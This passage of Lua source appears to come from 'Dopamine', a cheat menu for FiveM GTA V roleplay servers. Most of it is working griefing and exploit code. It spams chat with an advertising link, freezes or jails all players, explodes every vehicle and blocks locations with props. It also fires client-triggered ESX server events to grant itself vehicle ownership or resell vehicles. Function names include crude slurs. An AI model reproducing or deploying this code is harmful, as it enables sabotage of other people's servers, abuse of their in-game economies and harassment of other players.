  4371. RequestModel(cablecar)
  4372. RequestModel(metrotrain)
  4373. RequestModel(freight)
  4374. RequestModel(freightcar)
  4375. RequestModel(freightgrain)
  4376. RequestModel(freightcont1)
  4377. RequestModel(freightcont2)
  4378. RequestModel(freighttrailer)
  4379.  
  4380. while (not HasModelLoaded(cablecar)) do pWait(0) end
  4381. while (not HasModelLoaded(metrotrain)) do pWait(0) end
  4382. while (not HasModelLoaded(freight)) do pWait(0) end
  4383. while (not HasModelLoaded(freightcar)) do pWait(0) end
  4384. while (not HasModelLoaded(freightgrain)) do pWait(0) end
  4385. while (not HasModelLoaded(freightcont1)) do pWait(0) end
  4386. while (not HasModelLoaded(freightcont2)) do pWait(0) end
  4387. while (not HasModelLoaded(freighttrailer)) do pWait(0) end
  4388.  
  4389. local c = GetEntityCoords(Dopamine.datastore.pLocalPlayer.pedId, false)
  4390. Dopamine.datastore.trainRide.handle = CreateMissionTrain(24, c.x, c.y, c.z, 1)
  4391. SetVehicleUndriveable(Dopamine.datastore.trainRide.handle, false)
  4392. TaskWarpPedIntoVehicle(Dopamine.datastore.pLocalPlayer.pedId, Dopamine.datastore.trainRide.handle, -1)
  4393. dir_print('Spawned train')
  4394. Dopamine.datastore.trainRide.handleHasLoaded = true
  4395. end
  4396.  
  4397. if Dopamine.datastore.trainRide.handleHasLoaded then
  4398. if (Dopamine.datastore.pLocalPlayer.cVehicle == Dopamine.datastore.trainRide.handle) then
  4399. local message = 'Train speed: ~b~' .. tostring(Dopamine.datastore.trainRide.trainSpeed)
  4400.  
  4401. if (GetGameTimer() >= timer) then
  4402. SetTrainSpeed(Dopamine.datastore.trainRide.handle, Dopamine.datastore.trainRide.trainSpeed)
  4403. timer = GetGameTimer() + 10
  4404. end
  4405.  
  4406. if (IsDisabledControlJustReleased(1, Keys['UP'])) then
  4407. Dopamine.datastore.trainRide.trainSpeed = Dopamine.datastore.trainRide.trainSpeed + 0.1
  4408. elseif (IsDisabledControlJustReleased(1, Keys['DOWN'])) then
  4409. if (Dopamine.datastore.trainRide.trainSpeed - 0.1 >= 0.0) then
  4410. Dopamine.datastore.trainRide.trainSpeed = Dopamine.datastore.trainRide.trainSpeed - 0.1
  4411. end
  4412. end
  4413. end
  4414. end
  4415. end
  4416.  
  4417. Dopamine.functions.spamChat = function(message)
  4418. if Dopamine.functions.game.isNullOrEmpty(message) then message = 'www.d0pamine | discord.gg/fjBp55t' end
  4419. for colorLoop=2,6 do
  4420. Dopamine.dTCE(true, true, '_chat:messageEntered','d0pamine', {Dopamine.mainColor.r,Dopamine.mainColor.g,Dopamine.mainColor.b},'^'..colorLoop..message)
  4421. if Dopamine.functions.doesResourceExist('esx_rpchat') then
  4422. Dopamine.dTCE(true, true, '_chat:messageEntered','d0pamine', {Dopamine.mainColor.r,Dopamine.mainColor.g,Dopamine.mainColor.b},'/ooc ^'..colorLoop..message)
  4423. Dopamine.dTCE(true, true, '_chat:messageEntered','d0pamine', {Dopamine.mainColor.r,Dopamine.mainColor.g,Dopamine.mainColor.b},'/ad ^'..colorLoop..message)
  4424. end
  4425. end
  4426. end
  4427.  
  4428. Dopamine.functions.resetAppearance = function()
  4429. ClearAllPedProps(Dopamine.datastore.pLocalPlayer.pedId)
  4430. ClearPedDecorations(Dopamine.datastore.pLocalPlayer.pedId)
  4431. SetPedComponentVariation(Dopamine.datastore.pLocalPlayer.pedId, 1, 0, 0, 0)
  4432. SetPedComponentVariation(Dopamine.datastore.pLocalPlayer.pedId, 5, 0, 0, 0)
  4433. SetPedComponentVariation(Dopamine.datastore.pLocalPlayer.pedId, 9, 0, 0, 0)
  4434. end
  4435.  
  4436. Dopamine.functions.changeAppearance = function(family, model, texture)
  4437. if (family == 'HATS' or family == 'GLASSES' or family == 'EARS') then
  4438. if (family == 'HATS') then
  4439. fam = 0
  4440. elseif (family == 'GLASSES') then
  4441. fam = 1
  4442. elseif (family == 'EARS') then
  4443. fam = 2
  4444. end
  4445. SetPedPropIndex(Dopamine.datastore.pLocalPlayer.pedId, fam, model - 1, texture, 1)
  4446. else
  4447. if (family == 'FACE') then
  4448. fam = 0
  4449. elseif (family == 'MASK') then
  4450. fam = 1
  4451. elseif (family == 'HAIR') then
  4452. fam = 2
  4453. elseif (family == 'TORSO') then
  4454. fam = 3
  4455. elseif (family == 'LEGS') then
  4456. fam = 4
  4457. elseif (family == 'HANDS') then
  4458. fam = 5
  4459. elseif (family == 'SHOES') then
  4460. fam = 6
  4461. elseif (family == 'SPECIAL1') then
  4462. fam = 7
  4463. elseif (family == 'SPECIAL2') then
  4464. fam = 8
  4465. elseif (family == 'SPECIAL3') then
  4466. fam = 9
  4467. elseif (family == 'TEXTURE') then
  4468. fam = 10
  4469. elseif (family == 'TORSO2') then
  4470. fam = 11
  4471. end
  4472. SetPedComponentVariation(Dopamine.datastore.pLocalPlayer.pedId, fam, model, texture, 0)
  4473. end
  4474. end
  4475.  
  4476. Dopamine.functions.killNearbyPeds = function()
  4477. local playerPed = Dopamine.datastore.pLocalPlayer.pedId
  4478. local PedTab, PedCount = GetPedNearbyPeds(playerPed, 30, 30)
  4479. for p in Dopamine.trashFunctions.enumPeds() do
  4480. if p ~= playerPed and not IsPedAPlayer(p) then
  4481. Dopamine.natives.setEntityHealth(p, 0)
  4482. ExplodePedHead(p, GetHashKey('WEAPON_NIGHTSTICK'))
  4483. SetPedToRagdoll(p, 6, 20, 20, true, true, true)
  4484. end
  4485. end
  4486. end
  4487.  
  4488. Dopamine.functions.playerBlips = function()
  4489. if Dopamine.storedControls.visPlayerBlips then
  4490. local plist = Dopamine.natives.getActivePlayers()
  4491. for i = 1, #plist do
  4492. local id = plist[i]
  4493. local ped = GetPlayerPed(id)
  4494. if ped ~= Dopamine.datastore.pLocalPlayer.pedId then
  4495. local blip = GetBlipFromEntity(ped)
  4496.  
  4497. --[[HEAD DISPLAY STUFF
  4498.  
  4499. Create head display (this is safe to be spammed)
  4500. headId = pInvoke( 0xBFEFE3321A3F5015, ped, GetPlayerName( id ), false, false, '', false )
  4501.  
  4502. Speaking display
  4503. I need to move this over to name tag code
  4504. if NetworkIsPlayerTalking(id) then
  4505. pInvoke( 0x63BB75ABEDC1F6A0, headId, 9, true )
  4506. else
  4507. pInvoke( 0x63BB75ABEDC1F6A0, headId, 9, false )
  4508. end]]
  4509.  
  4510. if not DoesBlipExist(blip) then
  4511. blip = AddBlipForEntity(ped)
  4512. SetBlipSprite(blip, 1)
  4513. pInvoke( 0x5FBCA48327B914DF, blip, true )
  4514. else
  4515. local veh = GetVehiclePedIsIn(ped, false)
  4516. local blipSprite = GetBlipSprite(blip)
  4517.  
  4518. if GetEntityHealth(ped) == 0 then
  4519. if blipSprite ~= 274 then
  4520. SetBlipSprite(blip, 274)
  4521. pInvoke( 0x5FBCA48327B914DF, blip, true )
  4522. end
  4523. elseif veh then
  4524. local vehClass = GetVehicleClass(veh)
  4525. local vehModel = GetEntityModel(veh)
  4526. if vehClass == 15 then
  4527. if blipSprite ~= 422 then
  4528. SetBlipSprite(blip, 422)
  4529. pInvoke( 0x5FBCA48327B914DF, blip, true)
  4530. end
  4531. elseif vehClass == 8 then
  4532. if blipSprite ~= 226 then
  4533. SetBlipSprite(blip, 226)
  4534. pInvoke( 0x5FBCA48327B914DF, blip, true)
  4535. end
  4536. elseif vehClass == 16 then
  4537. if vehModel == GetHashKey('besra') or vehModel == GetHashKey('hydra') or vehModel == GetHashKey('lazer') then
  4538. if blipSprite ~= 424 then
  4539. SetBlipSprite(blip, 424)
  4540. pInvoke( 0x5FBCA48327B914DF, blip, true)
  4541. end
  4542. elseif blipSprite ~= 423 then
  4543. SetBlipSprite(blip, 423)
  4544. pInvoke( 0x5FBCA48327B914DF, blip, true)
  4545. end
  4546. elseif vehClass == 14 then
  4547. if blipSprite ~= 427 then
  4548. SetBlipSprite(blip, 427)
  4549. pInvoke( 0x5FBCA48327B914DF, blip, true)
  4550. end
  4551. elseif vehModel == GetHashKey('insurgent') or vehModel == GetHashKey('insurgent2') or vehModel == GetHashKey('insurgent3') then
  4552. if blipSprite ~= 426 then
  4553. SetBlipSprite(blip, 426)
  4554. pInvoke( 0x5FBCA48327B914DF, blip, true)
  4555. end
  4556. elseif vehModel == GetHashKey('limo2') then
  4557. if blipSprite ~= 460 then
  4558. SetBlipSprite(blip, 460)
  4559. pInvoke( 0x5FBCA48327B914DF, blip, true)
  4560. end
  4561. elseif vehModel == GetHashKey('rhino') then
  4562. if blipSprite ~= 421 then
  4563. SetBlipSprite(blip, 421)
  4564. pInvoke( 0x5FBCA48327B914DF, blip, false)
  4565. end
  4566. elseif vehModel == GetHashKey('trash') or vehModel == GetHashKey('trash2') then
  4567. if blipSprite ~= 318 then
  4568. SetBlipSprite(blip, 318)
  4569. pInvoke( 0x5FBCA48327B914DF, blip, true)
  4570. end
  4571. elseif vehModel == GetHashKey('pbus') then
  4572. if blipSprite ~= 513 then
  4573. SetBlipSprite(blip, 513)
  4574. pInvoke( 0x5FBCA48327B914DF, blip, false)
  4575. end
  4576. elseif vehModel == GetHashKey('seashark') or vehModel == GetHashKey('seashark2') or vehModel == GetHashKey('seashark3') then
  4577. if blipSprite ~= 471 then
  4578. SetBlipSprite(blip, 471)
  4579. pInvoke( 0x5FBCA48327B914DF, blip, false)
  4580. end
  4581. elseif vehModel == GetHashKey('cargobob') or vehModel == GetHashKey('cargobob2') or vehModel == GetHashKey('cargobob3') or vehModel == GetHashKey('cargobob4') then
  4582. if blipSprite ~= 481 then
  4583. SetBlipSprite(blip, 481)
  4584. pInvoke( 0x5FBCA48327B914DF, blip, false)
  4585. end
  4586. elseif vehModel == GetHashKey('technical') or vehModel == GetHashKey('technical2') or vehModel == GetHashKey('technical3') then
  4587. if blipSprite ~= 426 then
  4588. SetBlipSprite(blip, 426)
  4589. pInvoke( 0x5FBCA48327B914DF, blip, false)
  4590. end
  4591. elseif vehModel == GetHashKey('taxi') then
  4592. if blipSprite ~= 198 then
  4593. SetBlipSprite(blip, 198)
  4594. pInvoke( 0x5FBCA48327B914DF, blip, true)
  4595. end
  4596. elseif vehModel == GetHashKey('fbi') or vehModel == GetHashKey('fbi2') or vehModel == GetHashKey('police2') or vehModel == GetHashKey('police3')
  4597. or vehModel == GetHashKey('police') or vehModel == GetHashKey('sheriff2') or vehModel == GetHashKey('sheriff')
  4598. or vehModel == GetHashKey('policeold2') then
  4599. if blipSprite ~= 56 then
  4600. SetBlipSprite(blip, 56)
  4601. pInvoke( 0x5FBCA48327B914DF, blip, true)
  4602. end
  4603. elseif blipSprite ~= 1 then
  4604. SetBlipSprite(blip, 1)
  4605. pInvoke( 0x5FBCA48327B914DF, blip, true)
  4606. end
  4607.  
  4608. local passengers = GetVehicleNumberOfPassengers(veh)
  4609.  
  4610. if passengers > 0 then
  4611. if not IsVehicleSeatFree(veh, -1) then
  4612. passengers = passengers + 1
  4613. end
  4614. ShowNumberOnBlip(blip, passengers)
  4615. else
  4616. HideNumberOnBlip(blip)
  4617. end
  4618. else
  4619. HideNumberOnBlip(blip)
  4620.  
  4621. if blipSprite ~= 1 then
  4622. SetBlipSprite(blip, 1)
  4623. pInvoke( 0x5FBCA48327B914DF, blip, true)
  4624.  
  4625. end
  4626. end
  4627.  
  4628. SetBlipRotation(blip, math.ceil(GetEntityHeading(veh)))
  4629. SetBlipNameToPlayerName(blip, id)
  4630. SetBlipScale(blip, 0.85)
  4631.  
  4632. if IsPauseMenuActive() then
  4633. SetBlipAlpha( blip, 255 )
  4634. else
  4635. x1, y1 = table.unpack(GetEntityCoords(Dopamine.datastore.pLocalPlayer.pedId, true))
  4636. x2, y2 = table.unpack(GetEntityCoords(GetPlayerPed(id), true))
  4637. distance = (math.floor(math.abs(math.sqrt((x1 - x2) * (x1 - x2) + (y1 - y2) * (y1 - y2))) / -1)) + 900
  4638.  
  4639. if distance < 0 then
  4640. distance = 0
  4641. elseif distance > 255 then
  4642. distance = 255
  4643. end
  4644. SetBlipAlpha(blip, distance)
  4645. end
  4646. end
  4647. end
  4648. end
  4649. elseif not Dopamine.storedControls.visPlayerBlips then
  4650. local plist = Dopamine.natives.getActivePlayers()
  4651. for i = 1, #plist do
  4652. local id = plist[i]
  4653. local ped = GetPlayerPed(id)
  4654. local blip = GetBlipFromEntity(ped)
  4655. if DoesBlipExist(blip) then
  4656. RemoveBlip(blip)
  4657. end
  4658. end
  4659. end
  4660. end
  4661.  
  4662. --[[allPlayersOptions]]
  4663. Dopamine.functions.aPO = {}
  4664.  
  4665. Dopamine.functions.aPO.freezeAll = function()
  4666. for i=0, #Dopamine.natives.getActivePlayers() do
  4667. Dopamine.natives.clearPedTasksImmediately(GetPlayerPed(i))
  4668. ClearPedSecondaryTask(GetPlayerPed(i))
  4669. end
  4670. end
  4671.  
  4672. Dopamine.functions.aPO.disableDrivingCars = function()
  4673. local plist = Dopamine.natives.getActivePlayers()
  4674. for i = 0, #plist do
  4675. if IsPedInAnyVehicle(GetPlayerPed(i), true) then
  4676. Dopamine.natives.clearPedTasksImmediately(GetPlayerPed(i))
  4677. end
  4678. end
  4679. end
  4680.  
  4681. Dopamine.functions.aPO.noisyVehicles = function()
  4682. for k in Dopamine.trashFunctions.enumVehicles() do
  4683. SetVehicleAlarmTimeLeft(k, 60)
  4684. end
  4685. end
  4686.  
  4687. Dopamine.functions.aPO.explodeCars = function()
  4688. for vehicle in Dopamine.trashFunctions.enumVehicles() do
  4689. if (vehicle ~= GetVehiclePedIsIn(GetPlayerPed(-1), false)) and (not GotTrailer or (GotTrailer and vehicle ~= TrailerHandle)) then
  4690. Dopamine.trashFunctions.reqControlOnce(vehicle)
  4691. Dopamine.natives.networkExplodeVehicle(vehicle, true, true, false)
  4692. end
  4693. end
  4694. end
  4695.  
  4696. Dopamine.functions.aPO.rapeVehicles = function()
  4697. for enumeratedVs in Dopamine.trashFunctions.enumVehicles() do
  4698. Dopamine.functions.sPO.rapeVehicle(enumeratedVs)
  4699. end
  4700. end
  4701.  
  4702. Dopamine.functions.aPO.clonePeds = function()
  4703. local plist = Dopamine.natives.getActivePlayers()
  4704. for i = 0, #plist do
  4705. local Handle = GetPlayerPedScriptIndex(GetPlayerPed(i))
  4706. --[[local Handle = GetPlayerPedScriptIndex(plist[i])]]
  4707. ClonePed(Handle, 1, 1, 1)
  4708. end
  4709. end
  4710.  
  4711. Dopamine.functions.aPO.spawnTrollProp = function(prop)
  4712. local plist = Dopamine.natives.getActivePlayers()
  4713. for i = 0, #plist do
  4714. Dopamine.functions.sPO.spawnTrollProp(GetPlayerPed(i), prop)
  4715. end
  4716. end
  4717.  
  4718. Dopamine.functions.aPO.giveAllWeapons = function(asPickup)
  4719. for i = 0, #Dopamine.natives.getActivePlayers() do
  4720. Dopamine.functions.sPO.giveAllWeapons(asPickup, GetPlayerPed(i))
  4721. end
  4722. end
  4723.  
  4724. Dopamine.functions.aPO.burnSFX = function()
  4725. for trash=0, 50 do
  4726. for i in Dopamine.trashFunctions.enumPeds() do
  4727. if not IsPedAPlayer(i) then
  4728. RequestNamedPtfxAsset('core')
  4729. UseParticleFxAssetNextCall('core')
  4730. StartNetworkedParticleFxNonLoopedOnEntity('ent_sht_flame', i, 0.0, 0.0, -0.5, 0.0, 0.0, 0.0, 15.0, false, false, false)
  4731. end
  4732. end
  4733. end
  4734. end
  4735.  
  4736. Dopamine.functions.aPO.flyingCars = function()
  4737. for k in Dopamine.trashFunctions.enumVehicles() do
  4738. Dopamine.trashFunctions.reqControlOnce(k)
  4739. ApplyForceToEntity(k, 3, 0.0, 0.0, 500.0, 0.0, 0.0, 0.0, 0, 0, 1, 1, 0, 1)
  4740. end
  4741. end
  4742.  
  4743. Dopamine.functions.aPO.jail = function()
  4744. for i = 0, #Dopamine.natives.getActivePlayers() do
  4745. Dopamine.functions.sPO.jailTheFucker(GetPlayerServerId(i), 5391)
  4746. end
  4747. end
  4748.  
  4749. Dopamine.functions.aPO.unJail = function()
  4750. for i = 0, #Dopamine.natives.getActivePlayers() do
  4751. Dopamine.functions.sPO.unJailTheFucker(GetPlayerServerId(i), 5391)
  4752. end
  4753. end
  4754.  
  4755. Dopamine.functions.aPO.communityService = function()
  4756. for i = 0, #Dopamine.natives.getActivePlayers() do
  4757. Dopamine.functions.sPO.communityService(GetPlayerServerId(i))
  4758. end
  4759. end
  4760.  
  4761. Dopamine.functions.aPO.propBlock = function(index)
  4762. pCreateThread(function()
  4763. local e8 = -145066854
  4764. RequestModel(e8)
  4765. while not HasModelLoaded(e8) do
  4766. pWait(0)
  4767. end
  4768. if Dopamine.menuTables.trollsPropBlock.selected == 1 then
  4769. local e9 = Dopamine.natives.createObject(e8, 97.8, -993.22, 28.41, true, true, false)
  4770. local ea = Dopamine.natives.createObject(e8, 247.08, -1027.62, 28.26, true, true, false)
  4771. local e92 = Dopamine.natives.createObject(e8, 274.51, -833.73, 28.25, true, true, false)
  4772. local ea2 = Dopamine.natives.createObject(e8, 291.54, -939.83, 27.41, true, true, false)
  4773. local ea3 = Dopamine.natives.createObject(e8, 143.88, -830.49, 30.17, true, true, false)
  4774. local ea4 = Dopamine.natives.createObject(e8, 161.97, -768.79, 29.08, true, true, false)
  4775. local ea5 = Dopamine.natives.createObject(e8, 151.56, -1061.72, 28.21, true, true, false)
  4776. SetEntityHeading(e9, 39.79)
  4777. SetEntityHeading(ea, 128.62)
  4778. SetEntityHeading(e92, 212.1)
  4779. SetEntityHeading(ea2, 179.22)
  4780. SetEntityHeading(ea3, 292.37)
  4781. SetEntityHeading(ea4, 238.46)
  4782. SetEntityHeading(ea5, 61.43)
  4783. FreezeEntityPosition(e9, true)
  4784. FreezeEntityPosition(ea, true)
  4785. FreezeEntityPosition(e92, true)
  4786. FreezeEntityPosition(ea2, true)
  4787. FreezeEntityPosition(ea3, true)
  4788. FreezeEntityPosition(ea4, true)
  4789. FreezeEntityPosition(ea5, true)
  4790. elseif Dopamine.menuTables.trollsPropBlock.selected == 2 then
  4791. local pd1 = Dopamine.natives.createObject(e8, 439.43, -965.49, 27.05, true, true, false)
  4792. local pd2 = Dopamine.natives.createObject(e8, 401.04, -1015.15, 27.42, true, true, false)
  4793. local pd3 = Dopamine.natives.createObject(e8, 490.22, -1027.29, 26.18, true, true, false)
  4794. local pd4 = Dopamine.natives.createObject(e8, 491.36, -925.55, 24.48, true, true, false)
  4795. SetEntityHeading(pd1, 130.75)
  4796. SetEntityHeading(pd2, 212.63)
  4797. SetEntityHeading(pd3, 340.06)
  4798. SetEntityHeading(pd4, 209.57)
  4799. FreezeEntityPosition(pd1, true)
  4800. FreezeEntityPosition(pd2, true)
  4801. FreezeEntityPosition(pd3, true)
  4802. FreezeEntityPosition(pd4, true)
  4803. elseif Dopamine.menuTables.trollsPropBlock.selected == 3 then
  4804. local cd1 = Dopamine.natives.createObject(e8, -50.97, -1066.92, 26.52, true, true, false)
  4805. local cd2 = Dopamine.natives.createObject(e8, -63.86, -1099.05, 25.26, true, true, false)
  4806. local cd3 = Dopamine.natives.createObject(e8, -44.13, -1129.49, 25.07, true, true, false)
  4807. SetEntityHeading(cd1, 160.59)
  4808. SetEntityHeading(cd2, 216.98)
  4809. SetEntityHeading(cd3, 291.74)
  4810. FreezeEntityPosition(cd1, true)
  4811. FreezeEntityPosition(cd2, true)
  4812. FreezeEntityPosition(cd3, true)
  4813. end
  4814. end)
  4815. end
  4816.  
  4817. --[[selectedPlayerOptions]]
  4818. Dopamine.functions.sPO = {}
  4819.  
  4820. Dopamine.functions.sPO.spectatePlayer = function(target)
  4821. Dopamine.storedControls.sPOIsSpectating = not Dopamine.storedControls.sPOIsSpectating
  4822. local targetPed = GetPlayerPed(target)
  4823. if Dopamine.storedControls.sPOIsSpectating then
  4824. local targetx, targety, targetz = table.unpack(GetEntityCoords(targetPed, false))
  4825. RequestCollisionAtCoord(targetx, targety, targetz)
  4826. NetworkSetInSpectatorMode(true, targetPed)
  4827. RequestCollisionAtCoord(GetEntityCoords(targetPed))
  4828. NetworkSetInSpectatorMode(true, targetPed)
  4829. Dopamine.functions.game.subtitle('Started spectating ~b~' .. GetPlayerName(target))
  4830. else
  4831. local targetx, targety, targetz = table.unpack(GetEntityCoords(targetPed, false))
  4832. RequestCollisionAtCoord(targetx, targety, targetz)
  4833. NetworkSetInSpectatorMode(false, targetPed)
  4834. Dopamine.functions.game.subtitle('Stopped spectating ~b~' .. GetPlayerName(target))
  4835. end
  4836. end
  4837.  
  4838. Dopamine.functions.sPO.teleportToPlayer = function(target)
  4839. local x, y, z = table.unpack(GetEntityCoords(GetPlayerPed(target)))
  4840. Dopamine.functions.teleportSelf(x, y, z)
  4841. end
  4842.  
  4843. Dopamine.functions.sPO.teleportIntoVehicle = function(target)
  4844. if not IsPedInAnyVehicle(target) then
  4845. return Dopamine.pushNotification('Player must be sitting in a vehicle!', 5000)
  4846. end
  4847.  
  4848. local vehicle = GetVehiclePedIsUsing(target)
  4849.  
  4850. local seats = GetVehicleMaxNumberOfPassengers(vehicle)
  4851. for i = 0, seats do
  4852. if IsVehicleSeatFree(vehicle, i) then
  4853. SetPedIntoVehicle(Dopamine.datastore.pLocalPlayer.pedId, vehicle, i)
  4854. break
  4855. end
  4856. end
  4857. end
  4858.  
  4859. Dopamine.functions.sPO.SpawnVehicleToPlayer = function(modelName, playerIdx)
  4860. if modelName and IsModelValid(modelName) and IsModelAVehicle(modelName) then
  4861. RequestModel(modelName)
  4862. while not HasModelLoaded(modelName) do pWait(0) end
  4863. local model = (type(modelName) == 'number' and modelName or GetHashKey(modelName))
  4864. local playerPed = GetPlayerPed(playerIdx)
  4865. local SpawnedVehicle = Dopamine.natives.createVehicle(model, GetEntityCoords(playerPed), GetEntityHeading(playerPed), true, true)
  4866. local SpawnedVehicleIdx = NetworkGetNetworkIdFromEntity(SpawnedVehicle)
  4867. SetNetworkIdCanMigrate(SpawnedVehicleIdx, true)
  4868. SetEntityAsMissionEntity(SpawnedVehicle, true, false)
  4869. SetVehicleHasBeenOwnedByPlayer(SpawnedVehicle, true)
  4870. SetVehicleNeedsToBeHotwired(SpawnedVehicle, false)
  4871. SetModelAsNoLongerNeeded(model)
  4872.  
  4873. if NetworkHasControlOfEntity(playerPed) then
  4874. SetPedIntoVehicle(playerPed, SpawnedVehicle, -1)
  4875. end
  4876. SetVehicleEngineOn(SpawnedVehicle, true, false, false)
  4877. SetVehRadioStation(SpawnedVehicle, 'OFF')
  4878. return SpawnedVehicle
  4879. else
  4880. Dopamine.pushNotification('Invalid Vehicle Model!', 5000)
  4881. return nil
  4882. end
  4883. end
  4884.  
  4885. Dopamine.functions.sPO.SpawnLegalVehicle = function(vehicalModelName, playerIdx, plateNumber)
  4886. local SpawnedVehicle = Dopamine.functions.sPO.SpawnVehicleToPlayer(vehicalModelName, playerIdx)
  4887. if SpawnedVehicle ~= nil then
  4888. if Dopamine.functions.game.isNullOrEmpty(plateNumber) then
  4889. SetVehicleNumberPlateText(SpawnedVehicle, GetVehicleNumberPlateText(SpawnedVehicle))
  4890. else
  4891. SetVehicleNumberPlateText(SpawnedVehicle, plateNumber) end
  4892. Dopamine.pushNotification('Spawned Vehicle', 5000)
  4893. local SpawnedVehicleProperties = Dopamine.functions.game.getVehicleProperties(SpawnedVehicle)
  4894. local SpawnedVehicleModel = GetDisplayNameFromVehicleModel(SpawnedVehicleProperties.model)
  4895. if SpawnedVehicleProperties then
  4896. if Dopamine.functions.doesResourceExist('esx_vehicleshop') then
  4897. Dopamine.dTCE(true, true, 'esx_vehicleshop:setVehicleOwnedPlayerId', GetPlayerServerId(playerIdx), SpawnedVehicleProperties, SpawnedVehicleModel, vehicalModelName, false)
  4898. elseif Dopamine.functions.doesResourceExist('esx_CryptosCustoms') then
  4899. Dopamine.dTCE(true, true, 'esx_CryptosCustoms:setVehicleOwnedPlayerId', GetPlayerServerId(playerIdx), SpawnedVehicleProperties, SpawnedVehicleModel, vehicalModelName, false)
  4900. else
  4901. Dopamine.pushNotification('Resource was not found!', 5000)
  4902. end
  4903. end
  4904. end
  4905. end
  4906.  
  4907. Dopamine.functions.sPO.ESXSellVehicle = function()
  4908. if IsPedInAnyVehicle(GetPlayerPed(-1)) then
  4909. if Dopamine.datastore.ESX ~= nil then
  4910. local vehicleProperties = Dopamine.functions.game.getVehicleProperties(GetVehiclePedIsIn(GetPlayerPed(-1), false))
  4911. if Dopamine.functions.doesResourceExist('esx_vehicleshop') then
  4912. Dopamine.datastore.ESX.TriggerServerCallback('esx_vehicleshop:resellVehicle', function(vehicle_sold) end, vehicleProperties.plate, vehicleProperties.model)
  4913. elseif Dopamine.functions.doesResourceExist('esx_CryptosCustoms') then
  4914. Dopamine.datastore.ESX.TriggerServerCallback('esx_CryptosCustoms:resellVehicle', function(vehicle_sold) end, vehicleProperties.plate, vehicleProperties.model)
  4915. else
  4916. Dopamine.pushNotification('Resource was not found!', 5000)
  4917. end
  4918. else
  4919. Dopamine.pushNotification('Could not find ESX, try refresing it in the settings tab', 5000)
  4920. end
  4921. else
  4922. Dopamine.pushNotification('You must be in a vehicle to use this!', 5000)
  4923. end
  4924. end
  4925.  
  4926. Dopamine.functions.sPO.cloneVehicle = function(target)
  4927. local selectedPlayerVehicle = nil
  4928. if IsPedInAnyVehicle(GetPlayerPed(target)) then selectedPlayerVehicle = GetVehiclePedIsIn(GetPlayerPed(target), false)
  4929. else selectedPlayerVehicle = GetVehiclePedIsIn(GetPlayerPed(target), true) end
  4930.  
  4931. if DoesEntityExist(selectedPlayerVehicle) then
  4932. local vehicleModel = GetEntityModel(selectedPlayerVehicle)
  4933. local spawnedVehicle = Dopamine.functions.sPO.SpawnVehicleToPlayer(vehicleModel, PlayerId())
  4934.  
  4935. local vehicleProperties = Dopamine.functions.game.getVehicleProperties(selectedPlayerVehicle)
  4936. vehicleProperties.plate = nil
  4937.  
  4938. Dopamine.functions.game.setVehicleProperties(spawnedVehicle, vehicleProperties)
  4939.  
  4940. SetVehicleEngineOn(spawnedVehicle, true, false, false)
  4941. SetVehRadioStation(spawnedVehicle, 'OFF')
  4942. end
  4943. end
  4944.  
  4945. Dopamine.functions.sPO.clonePedOutfit = function(me, ped)
  4946. hat = GetPedPropIndex(ped, 0)
  4947. hat_texture = GetPedPropTextureIndex(ped, 0)
  4948.  
  4949. glasses = GetPedPropIndex(ped, 1)
  4950. glasses_texture = GetPedPropTextureIndex(ped, 1)
  4951.  
  4952. ear = GetPedPropIndex(ped, 2)
  4953. ear_texture = GetPedPropTextureIndex(ped, 2)
  4954.  
  4955. watch = GetPedPropIndex(ped, 6)
  4956. watch_texture = GetPedPropTextureIndex(ped, 6)
  4957.  
  4958. wrist = GetPedPropIndex(ped, 7)
  4959. wrist_texture = GetPedPropTextureIndex(ped, 7)
  4960.  
  4961. head_drawable = GetPedDrawableVariation(ped, 0)
  4962. head_palette = GetPedPaletteVariation(ped, 0)
  4963. head_texture = GetPedTextureVariation(ped, 0)
  4964.  
  4965. beard_drawable = GetPedDrawableVariation(ped, 1)
  4966. beard_palette = GetPedPaletteVariation(ped, 1)
  4967. beard_texture = GetPedTextureVariation(ped, 1)
  4968.  
  4969. hair_drawable = GetPedDrawableVariation(ped, 2)
  4970. hair_palette = GetPedPaletteVariation(ped, 2)
  4971. hair_texture = GetPedTextureVariation(ped, 2)
  4972.  
  4973. torso_drawable = GetPedDrawableVariation(ped, 3)
  4974. torso_palette = GetPedPaletteVariation(ped, 3)
  4975. torso_texture = GetPedTextureVariation(ped, 3)
  4976.  
  4977. legs_drawable = GetPedDrawableVariation(ped, 4)
  4978. legs_palette = GetPedPaletteVariation(ped, 4)
  4979. legs_texture = GetPedTextureVariation(ped, 4)
  4980.  
  4981. hands_drawable = GetPedDrawableVariation(ped, 5)
  4982. hands_palette = GetPedPaletteVariation(ped, 5)
  4983. hands_texture = GetPedTextureVariation(ped, 5)
  4984.  
  4985. foot_drawable = GetPedDrawableVariation(ped, 6)
  4986. foot_palette = GetPedPaletteVariation(ped, 6)
  4987. foot_texture = GetPedTextureVariation(ped, 6)
  4988.  
  4989. acc1_drawable = GetPedDrawableVariation(ped, 7)
  4990. acc1_palette = GetPedPaletteVariation(ped, 7)
  4991. acc1_texture = GetPedTextureVariation(ped, 7)
  4992.  
  4993. acc2_drawable = GetPedDrawableVariation(ped, 8)
  4994. acc2_palette = GetPedPaletteVariation(ped, 8)
  4995. acc2_texture = GetPedTextureVariation(ped, 8)
  4996.  
  4997. acc3_drawable = GetPedDrawableVariation(ped, 9)
  4998. acc3_palette = GetPedPaletteVariation(ped, 9)
  4999. acc3_texture = GetPedTextureVariation(ped, 9)
  5000.  
  5001. mask_drawable = GetPedDrawableVariation(ped, 10)
  5002. mask_palette = GetPedPaletteVariation(ped, 10)
  5003. mask_texture = GetPedTextureVariation(ped, 10)
  5004.  
  5005. aux_drawable = GetPedDrawableVariation(ped, 11)
  5006. aux_palette = GetPedPaletteVariation(ped, 11)
  5007. aux_texture = GetPedTextureVariation(ped, 11)
  5008.  
  5009. SetPedPropIndex(me, 0, hat, hat_texture, 1)
  5010. SetPedPropIndex(me, 1, glasses, glasses_texture, 1)
  5011. SetPedPropIndex(me, 2, ear, ear_texture, 1)
  5012. SetPedPropIndex(me, 6, watch, watch_texture, 1)
  5013. SetPedPropIndex(me, 7, wrist, wrist_texture, 1)
  5014.  
  5015. SetPedComponentVariation(me, 0, head_drawable, head_texture, head_palette)
  5016. SetPedComponentVariation(me, 1, beard_drawable, beard_texture, beard_palette)
  5017. SetPedComponentVariation(me, 2, hair_drawable, hair_texture, hair_palette)
  5018. SetPedComponentVariation(me, 3, torso_drawable, torso_texture, torso_palette)
  5019. SetPedComponentVariation(me, 4, legs_drawable, legs_texture, legs_palette)
